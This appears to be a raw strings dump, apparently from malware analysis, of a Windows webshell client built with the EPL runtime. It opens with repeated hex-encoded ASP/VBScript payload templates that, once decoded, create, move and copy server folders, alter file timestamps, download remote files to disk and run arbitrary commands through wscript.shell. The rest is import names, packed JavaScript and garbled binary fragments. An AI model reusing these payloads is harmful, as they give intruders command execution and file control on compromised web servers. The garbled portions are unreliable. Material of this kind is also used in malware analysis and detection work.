{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A46732E437265617465466F6C646572285265717565737428227A312229293A5365742046733D4E6F7468696E673A496620457272205468656E3A533D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A533D2231223A456E642049663A526573706F6E73652E5772697465285329"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53463D5265717565737428227A3122293A44463D5265717565737428227A3222293A5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046732E466F6C64657245786973747328534629205468656E3A46732E4D6F7665466F6C6465722053462C44463A456C73653A46732E4D6F766546696C652053462C44463A456E642049663A5365742046733D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53463D5265717565737428227A3122293A44463D5265717565737428227A3222293A5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046732E466F6C64657245786973747328534629205468656E3A46732E4D6F7665466F6C6465722053462C44463A456C73653A46732E4D6F766546696C652053462C44463A456E642049663A5365742046733D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""464E3D5265717565737428227A3122293A544D3D5265717565737428227A3222293A41413D53706C697428464E2C225C5C22293A50543D22223A466F7220693D4C426F756E642841412920546F2055426F756E64284141292D313A50543D505426414128692926225C223A4E6578743A4E4D3D41412855426F756E6428414129293A5365727665722E4372656174654F626A65637428225368656C6C2E4170706C69636174696F6E22292E4E616D655370616365285054292E50617273654E616D65284E4D292E4D6F64696679646174653D544D3A496620457272205468656E3A53493D224552524F523A2F2F2022265054264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""464E3D5265717565737428227A3122293A544D3D5265717565737428227A3222293A41413D53706C697428464E2C225C5C22293A50543D22223A466F7220693D4C426F756E642841412920546F2055426F756E64284141292D313A50543D505426414128692926225C223A4E6578743A4E4D3D41412855426F756E6428414129293A5365727665722E4372656174654F626A65637428225368656C6C2E4170706C69636174696F6E22292E4E616D655370616365285054292E50617273654E616D65284E4D292E4D6F64696679646174653D544D3A496620457272205468656E3A53493D224552524F523A2F2F2022265054264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53463D5265717565737428227A3122293A44463D5265717565737428227A3222293A5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046732E466F6C64657245786973747328534629205468656E3A46732E436F7079466F6C6465722053462C44463A456C73653A46732E436F707946696C652053462C44463A456E642049663A5365742046733D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A656C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53463D5265717565737428227A3122293A44463D5265717565737428227A3222293A5365742046733D4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422293A49662046732E466F6C64657245786973747328534629205468656E3A46732E436F7079466F6C6465722053462C44463A456C73653A46732E436F707946696C652053462C44463A456E642049663A5365742046733D4E6F7468696E673A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A656C73653A53493D2231223A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D2053493A53657420783D4372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293A782E4F70656E2022474554222C2222266264285265717565737428227A312229292622222C303A782E53656E6428293A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A73657420733D4372656174654F626A656374282241444F44422E53747265616D22293A732E4D6F64653D333A732E547970653D313A732E4F70656E28293A732E577269746520782E526573706F6E7365426F64793A732E53617665546F46696C65202222266264285265717565737428227A322229292622222C323A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A53493D2231223A456E642049663A53657420783D4E6F7468696E673A53657420733D4E6F7468696E673A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""44696D2053493A53657420783D4372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293A782E4F70656E2022474554222C2222266264285265717565737428227A312229292622222C303A782E53656E6428293A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A73657420733D4372656174654F626A656374282241444F44422E53747265616D22293A732E4D6F64653D333A732E547970653D313A732E4F70656E28293A732E577269746520782E526573706F6E7365426F64793A732E53617665546F46696C65202222266264285265717565737428227A322229292622222C323A496620457272205468656E3A53493D224552524F523A2F2F2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A53493D2231223A456E642049663A53657420783D4E6F7468696E673A53657420733D4E6F7468696E673A456E642049663A526573706F6E73652E577269746528534929"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53657420583D4372656174654F626A6563742822777363726970742E7368656C6C22292E657865632822222222266264285265717565737428227A3122292926222222202F6320222222266264285265717565737428227A322229292622222222293A496620457272205468656E3A533D225B4572725D2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A4F3D582E5374644F75742E52656164416C6C28293A453D582E5374644572722E52656164416C6C28293A533D4F26453A456E642049663A526573706F6E73652E7772697465285329"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""53657420583D4372656174654F626A6563742822777363726970742E7368656C6C22292E657865632822222222266264285265717565737428227A3122292926222222202F6320222222266264285265717565737428227A322229292622222222293A496620457272205468656E3A533D225B4572725D2022264572722E4465736372697074696F6E3A4572722E436C6561723A456C73653A4F3D582E5374644F75742E52656164416C6C28293A453D582E5374644572722E52656164416C6C28293A533D4F26453A456E642049663A526573706F6E73652E7772697465285329"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""{SCRIPT}"""")):Response.Write(""""|
{PASS}=Execute("Execute(""On Error Resume Next:Function bd(byVal s):For i=1 To Len(s) Step 2:c=Mid(s,i,2):If IsNumeric(Mid(s,i,1)) Then:Execute(""""bd=bd&chr(&H""""&c&"""")""""):Else:Execute(""""bd=bd&chr(&H""""&c&Mid(s,i+2,2)&"""")""""):i=i+2:End If""&chr(10)&""Next:End Function:Response.Write(""""->|""""):Execute(""""On Error Resume Next:""""&bd(""""{SCRIPT}"""")):Response.Write(""""|
243! 1&)&;1
243! 1&)&;1
\Zn\%x
\Zn\%x
rfvxvs&i(g*n,k.sK
rfvxvs&i(g*n,k.sK
'/-2121072 ;
'/-2121072 ;
%&'()* 4
%&'()* 4
s_q jrdh%C'I{|l
s_q jrdh%C'I{|l
,.-0,*.7&4
,.-0,*.7&4
,4;;
,4;;
-c};:loi
-c};:loi
!(QMg#'.XSm)-4_Ys/3:f_y59@me
!(QMg#'.XSm)-4_Ys/3:f_y59@me
.LM19
.LM19
33.#782';=6 ?B:/CG>3GLB7KQF;OVJ?TQN0.EFG\ZVK`_ZOdd^ShibWlnf[psj_txncx}rg|
33.#782';=6 ?B:/CG>3GLB7KQF;OVJ?TQN0.EFG\ZVK`_ZOdd^ShibWlnf[psj_txncx}rg|
#($'&'* 3 %8
#($'&'* 3 %8
!"#f%C'um?jrs6q
!"#f%C'um?jrs6q
!"#&)#'*,
!"#&)#'*,
,)()/.. $7
,)()/.. $7
7&,,'*./
7&,,'*./
$%xl|~|y,zrDot
$%xl|~|y,zrDot
!'7-.&-(9
!'7-.&-(9
QR6.KL1CI=" 789:;?@ABCDEF
QR6.KL1CI=" 789:;?@ABCDEF
adodb.stream
adodb.stream
P@function urlencode(a)
P@function urlencode(a)
function urldecode(a)
function urldecode(a)
urlencode
urlencode
urldecode
urldecode
Math.round(new Date().getTime())
Math.round(new Date().getTime())
Math.round(new Date().getTime()/1000)
Math.round(new Date().getTime()/1000)
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'([35-8abe-hj-mo-qsu-zA-Z]|1\\w)'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('p 1j(1k,V,W,E){j 8,b,a,6,q,F,v,X,G;j 1a,Y,Z,5,O,P;j w,Q,10,C,J;p 1b(){y(b.g&&(b[b.g-1]===\' \'||b[b.g-1]===G)){b.1c()}}p l(R){R=typeof R===\'undefined\'?u:R;1b();3(!b.g){e}3(b[b.g-1]!=="\\n"||!R){b.S("\\n")}11(j i=0;i=8.g){e[\'\',\'1i\']}c=8.o(5);5 =1;3(c==="\\n"){15 =1}}y(x(c,1a));3(15>1){11(j i=0;i=8.g){h}}}5 =2;e[\'/*\' N \'*/\',\'1r\']}3(8.o(5)===\'/\'){N=c;y(8.o(5)!=="\\x0d"&&8.o(5)!=="\\x0a"){N =8.o(5);5 =1;3(5>=8.g){h}}5 =1;3(1p){l()}e[N,\'1s\']}}3(c==="\'"||c===\'"\'||(c===\'/\'&&((6===\'A\'&&q===\'e\')||(6===\'B\'||6===\'I\'||6===\'H\'||6===\'1i\'||6===\'M\')))){j 16=c;j T=f;c=\'\';3(5=8.g){h}}}5 =1;3(6===\'M\'){l()}e[16 c 16,\'1t\']}3(x(c,Z)){y(5=8.g){h}}e[c,\'H\']}e[c,\'1u\']}W=W||\' \';V=V||4;G=\'\';y(V--){G =W}8=1k;F=\'\';6=\'B\';q=\'\';b=[];10=f;C=f;J=f;1a="\\n\\r\\t ".17(\'\');Y=\'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$\'.17(\'\');Z=\' - * / % & -- = = -= *= /= $= == === != !== > = > >> >>>= >>=
eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c 29):c.toString(36))};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]||e}];e=function(){return'([35-8abe-hj-mo-qsu-zA-Z]|1\\w)'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b' e(c) '\\b','g'),k[c]);return p}('p 1j(1k,V,W,E){j 8,b,a,6,q,F,v,X,G;j 1a,Y,Z,5,O,P;j w,Q,10,C,J;p 1b(){y(b.g&&(b[b.g-1]===\' \'||b[b.g-1]===G)){b.1c()}}p l(R){R=typeof R===\'undefined\'?u:R;1b();3(!b.g){e}3(b[b.g-1]!=="\\n"||!R){b.S("\\n")}11(j i=0;i=8.g){e[\'\',\'1i\']}c=8.o(5);5 =1;3(c==="\\n"){15 =1}}y(x(c,1a));3(15>1){11(j i=0;i=8.g){h}}}5 =2;e[\'/*\' N \'*/\',\'1r\']}3(8.o(5)===\'/\'){N=c;y(8.o(5)!=="\\x0d"&&8.o(5)!=="\\x0a"){N =8.o(5);5 =1;3(5>=8.g){h}}5 =1;3(1p){l()}e[N,\'1s\']}}3(c==="\'"||c===\'"\'||(c===\'/\'&&((6===\'A\'&&q===\'e\')||(6===\'B\'||6===\'I\'||6===\'H\'||6===\'1i\'||6===\'M\')))){j 16=c;j T=f;c=\'\';3(5=8.g){h}}}5 =1;3(6===\'M\'){l()}e[16 c 16,\'1t\']}3(x(c,Z)){y(5=8.g){h}}e[c,\'H\']}e[c,\'1u\']}W=W||\' \';V=V||4;G=\'\';y(V--){G =W}8=1k;F=\'\';6=\'B\';q=\'\';b=[];10=f;C=f;J=f;1a="\\n\\r\\t ".17(\'\');Y=\'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$\'.17(\'\');Z=\' - * / % & -- = = -= *= /= $= == === != !== > = > >> >>>= >>=
i
i
) a[i] = ("00" str.charCodeAt(i ).toString(16)).slice(-4);
) a[i] = ("00" str.charCodeAt(i ).toString(16)).slice(-4);
return "\\u" a.join("\\u");
return "\\u" a.join("\\u");
return unescape(str.replace(/\\/g, "%"));
return unescape(str.replace(/\\/g, "%"));
) a[i] = str.charCodeAt(i );
) a[i] = str.charCodeAt(i );
return "" a.join(";") ";";
return "" a.join(";") ";";
return str.replace(/(x)?([^&]{1,5});?/g, function (a, b, c) {
return str.replace(/(x)?([^&]{1,5});?/g, function (a, b, c) {
return String.fromCharCode(parseInt(c,b?16:10));
return String.fromCharCode(parseInt(c,b?16:10));
1970-01-01 08:00:00
1970-01-01 08:00:00
1970-01-01 00:00:00
1970-01-01 00:00:00
Webshell
Webshell
_outport
_outport
.yEODq
.yEODq
.comment {color:green}
.comment {color:green}
%d&&'
%d&&'
123456789
123456789
00003333
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
inflate 1.1.3 Copyright 1995-1998 Mark Adler
1.2.18
1.2.18
%*.*f
%*.*f
CNotSupportedException
CNotSupportedException
commctrl_DragListMsg
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
Afx:%x:%x
COMCTL32.DLL
COMCTL32.DLL
CCmdTarget
CCmdTarget
MSWHEEL_ROLLMSG
MSWHEEL_ROLLMSG
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
Broken pipe
Broken pipe
Inappropriate I/O control operation
Inappropriate I/O control operation
Operation not permitted
Operation not permitted
user32.dll
user32.dll
iphlpapi.dll
iphlpapi.dll
SHLWAPI.dll
SHLWAPI.dll
MPR.dll
MPR.dll
VERSION.dll
VERSION.dll
WININET.dll
WININET.dll
.PAVCException@@
.PAVCException@@
Shell32.dll
Shell32.dll
Mpr.dll
Mpr.dll
Advapi32.dll
Advapi32.dll
User32.dll
User32.dll
Gdi32.dll
Gdi32.dll
Kernel32.dll
Kernel32.dll
(&07-034/)7 '
(&07-034/)7 '
?? / %d]
?? / %d]
%d / %d]
%d / %d]
.PAVCFileException@@
.PAVCFileException@@
: %d]
: %d]
(*.*)|*.*||
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
(*.CUR)|*.CUR|
%s:%d
%s:%d
windows
windows
.PAVCNotSupportedException@@
.PAVCNotSupportedException@@
out.prn
out.prn
(*.prn)|*.prn|
(*.prn)|*.prn|
%d.%d
%d.%d
%d/%d
%d/%d
1.6.9
1.6.9
unsupported zlib version
unsupported zlib version
png_read_image: unsupported transformation
png_read_image: unsupported transformation
%d / %d
%d / %d
Bogus message code %d
Bogus message code %d
libpng error: %s
libpng error: %s
libpng warning: %s
libpng warning: %s
1.1.3
1.1.3
bad keyword
bad keyword
libpng does not support gamma background rgb_to_gray
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
Palette is NULL in indexed image
(%d-%d):
(%d-%d):
%ld%c
%ld%c
hXXp://VVV.eyuyan.com
hXXp://VVV.eyuyan.com
service@dywt.com.cn
service@dywt.com.cn
86(0411)39895834
86(0411)39895834
86(0411)39895831
86(0411)39895831
This is a runtime library file for EPL applications. The EPL is a software development environment. For details please visit VVV.dywt.com.cn/info
This is a runtime library file for EPL applications. The EPL is a software development environment. For details please visit VVV.dywt.com.cn/info
DelAllKeyValues
DelAllKeyValues
DelKeyValue
DelKeyValue
GetAllKeys
GetAllKeys
GetKeyValue
GetKeyValue
AddKeyValue
AddKeyValue
DSGetErrMsg
DSGetErrMsg
BiTreeGetCurNodeKey
BiTreeGetCurNodeKey
ListGetCurNodeKey
ListGetCurNodeKey
ListUpdateNodeFromKey
ListUpdateNodeFromKey
ListRemoveNodeFromKey
ListRemoveNodeFromKey
edatastructure_fnMapDelAllKeyValues
edatastructure_fnMapDelAllKeyValues
edatastructure_fnMapDelKeyValue
edatastructure_fnMapDelKeyValue
edatastructure_fnMapGetAllKeys
edatastructure_fnMapGetAllKeys
edatastructure_fnMapGetKeyValue
edatastructure_fnMapGetKeyValue
edatastructure_fnMapAddKeyValue
edatastructure_fnMapAddKeyValue
edatastructure_fnBiTreeGetCurNodeKey
edatastructure_fnBiTreeGetCurNodeKey
edatastructure_fnListGetCurNodeKey
edatastructure_fnListGetCurNodeKey
edatastructure_fnListUpdateNodeFromKey
edatastructure_fnListUpdateNodeFromKey
edatastructure_fnListRemoveNodeFromKey
edatastructure_fnListRemoveNodeFromKey
burlywood
burlywood
\winhlp32.exe
\winhlp32.exe
(*.avi)|*.avi
(*.avi)|*.avi
WPFT532.CNV
WPFT532.CNV
WPFT632.CNV
WPFT632.CNV
EXCEL32.CNV
EXCEL32.CNV
write32.wpc
write32.wpc
Windows Write
Windows Write
mswrd632.wpc
mswrd632.wpc
Word for Windows 6.0
Word for Windows 6.0
wword5.cnv
wword5.cnv
Word for Windows 5.0
Word for Windows 5.0
mswrd832.cnv
mswrd832.cnv
mswrd632.cnv
mswrd632.cnv
Word 6.0/95 for Windows & Macintosh
Word 6.0/95 for Windows & Macintosh
html32.cnv
html32.cnv
;3 #>6.&
;3 #>6.&
'2, / 0&7!4-)1#
'2, / 0&7!4-)1#
(*.htm;*.html)|*.htm;*.html
(*.htm;*.html)|*.htm;*.html
glViewport
glViewport
glTexEnvfv
glTexEnvfv
glTexEnvf
glTexEnvf
\glu32.dll
\glu32.dll
\Opengl32.dll
\Opengl32.dll
glPassThrough
glPassThrough
.PAVCOleException@@
.PAVCOleException@@
.PAVCObject@@
.PAVCObject@@
.PAVCSimpleException@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCResourceException@@
.PAVCUserException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.?AVCTestCmdUI@@
.PAVCOleDispatchException@@
.PAVCOleDispatchException@@
.PAVCArchiveException@@
.PAVCArchiveException@@
zcÃ
zcÃ
c:\%original file name%.exe
c:\%original file name%.exe
#include "l.chs\afxres.rc" // Standard components
#include "l.chs\afxres.rc" // Standard components
1, 0, 6, 6
1, 0, 6, 6
- Skin.dll
- Skin.dll
(*.*)
(*.*)
%original file name%.exe_1804_rwx_005E0000_00003000:
MSVCRT.dll
MSVCRT.dll
IPHLPAPI.DLL
IPHLPAPI.DLL
PSAPI.DLL
PSAPI.DLL
KERNEL32.dll
KERNEL32.dll
%original file name%.exe_1804_rwx_00676000_0004A000:
KERNEL32.dll
KERNEL32.dll
USER32.dll
USER32.dll
OLEAUT32.dll
OLEAUT32.dll
ole32.dll
ole32.dll
GDI32.dll
GDI32.dll
SHELL32.dll
SHELL32.dll
WS2_32.dll
WS2_32.dll
WINMM.dll
WINMM.dll
WINSPOOL.DRV
WINSPOOL.DRV
COMCTL32.dll
COMCTL32.dll
ADVAPI32.dll
ADVAPI32.dll
AVIFIL32.dll
AVIFIL32.dll
MSVFW32.dll
MSVFW32.dll
comdlg32.dll
comdlg32.dll
oledlg.dll
oledlg.dll
%original file name%.exe_1804_rwx_006C1000_00002000:
%FreeEnvironmentStringsA
%FreeEnvironmentStringsA
GetWindowsDirectoryA
GetWindowsDirectoryA
GetProcessHeap
GetProcessHeap
USER32.dll
USER32.dll
CreateDialogIndirectParamA
CreateDialogIndirectParamA
SetWindowsHookExA
SetWindowsHookExA
hUnhookWindowsHookEx
hUnhookWindowsHookEx
GetKeyState
GetKeyState
%original file name%.exe_1804_rwx_01400000_0004C000:
KERNELBASE.dll
KERNELBASE.dll
BaseGetProcessExePath
BaseGetProcessExePath
BaseReleaseProcessExePath
BaseReleaseProcessExePath
ConnectNamedPipe
ConnectNamedPipe
CreateIoCompletionPort
CreateIoCompletionPort
CreateMutexExA
CreateMutexExA
CreateMutexExW
CreateMutexExW
CreateNamedPipeW
CreateNamedPipeW
CreatePipe
CreatePipe
DisconnectNamedPipe
DisconnectNamedPipe
EnumCalendarInfoExEx
EnumCalendarInfoExEx
EnumDateFormatsExEx
EnumDateFormatsExEx
GetCPFileNameFromRegistry
GetCPFileNameFromRegistry
GetCPHashNode
GetCPHashNode
GetCPInfo
GetCPInfo
GetCPInfoExW
GetCPInfoExW
GetNamedPipeAttribute
GetNamedPipeAttribute
GetNamedPipeClientComputerNameW
GetNamedPipeClientComputerNameW
GetProcessHeap
GetProcessHeap
GetProcessHeaps
GetProcessHeaps
GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryA
GetSystemWindowsDirectoryW
GetSystemWindowsDirectoryW
GetWindowsAccountDomainSid
GetWindowsAccountDomainSid
GetWindowsDirectoryA
GetWindowsDirectoryA
GetWindowsDirectoryW
GetWindowsDirectoryW
ImpersonateNamedPipeClient
ImpersonateNamedPipeClient
NeedCurrentDirectoryForExePathA
NeedCurrentDirectoryForExePathA
NeedCurrentDirectoryForExePathW
NeedCurrentDirectoryForExePathW
OpenRegKey
OpenRegKey
PeekNamedPipe
PeekNamedPipe
SetNamedPipeHandleState
SetNamedPipeHandleState
SetProcessShutdownParameters
SetProcessShutdownParameters
TransactNamedPipe
TransactNamedPipe
WaitNamedPipeW
WaitNamedPipeW
NTDLL.RtlAcquireSRWLockExclusive
NTDLL.RtlAcquireSRWLockExclusive
NTDLL.RtlAcquireSRWLockShared
NTDLL.RtlAcquireSRWLockShared
NTDLL.TpCancelAsyncIoOperation
NTDLL.TpCancelAsyncIoOperation
NTDLL.TpReleasePool
NTDLL.TpReleasePool
NTDLL.TpReleaseCleanupGroup
NTDLL.TpReleaseCleanupGroup
NTDLL.TpReleaseCleanupGroupMembers
NTDLL.TpReleaseCleanupGroupMembers
NTDLL.TpReleaseIoCompletion
NTDLL.TpReleaseIoCompletion
NTDLL.TpReleaseTimer
NTDLL.TpReleaseTimer
NTDLL.TpReleaseWait
NTDLL.TpReleaseWait
NTDLL.TpReleaseWork
NTDLL.TpReleaseWork
NTDLL.RtlDecodePointer
NTDLL.RtlDecodePointer
NTDLL.RtlDecodeSystemPointer
NTDLL.RtlDecodeSystemPointer
NTDLL.RtlDeleteCriticalSection
NTDLL.RtlDeleteCriticalSection
NTDLL.TpDisassociateCallback
NTDLL.TpDisassociateCallback
NTDLL.RtlEncodePointer
NTDLL.RtlEncodePointer
NTDLL.RtlEncodeSystemPointer
NTDLL.RtlEncodeSystemPointer
NTDLL.RtlEnterCriticalSection
NTDLL.RtlEnterCriticalSection
NTDLL.RtlExitUserThread
NTDLL.RtlExitUserThread
NTDLL.NtFlushProcessWriteBuffers
NTDLL.NtFlushProcessWriteBuffers
NTDLL.TpCallbackUnloadDllOnCompletion
NTDLL.TpCallbackUnloadDllOnCompletion
NTDLL.RtlAllocateHeap
NTDLL.RtlAllocateHeap
NTDLL.RtlFreeHeap
NTDLL.RtlFreeHeap
NTDLL.RtlReAllocateHeap
NTDLL.RtlReAllocateHeap
NTDLL.RtlSizeHeap
NTDLL.RtlSizeHeap
NTDLL.RtlInitializeCriticalSection
NTDLL.RtlInitializeCriticalSection
NTDLL.RtlInitializeSListHead
NTDLL.RtlInitializeSListHead
NTDLL.RtlInitializeSRWLock
NTDLL.RtlInitializeSRWLock
NTDLL.RtlInterlockedCompareExchange64
NTDLL.RtlInterlockedCompareExchange64
NTDLL.RtlInterlockedFlushSList
NTDLL.RtlInterlockedFlushSList
NTDLL.RtlInterlockedPopEntrySList
NTDLL.RtlInterlockedPopEntrySList
NTDLL.RtlInterlockedPushEntrySList
NTDLL.RtlInterlockedPushEntrySList
NTDLL.RtlInterlockedPushListSList
NTDLL.RtlInterlockedPushListSList
NTDLL.TpIsTimerSet
NTDLL.TpIsTimerSet
NTDLL.RtlLeaveCriticalSection
NTDLL.RtlLeaveCriticalSection
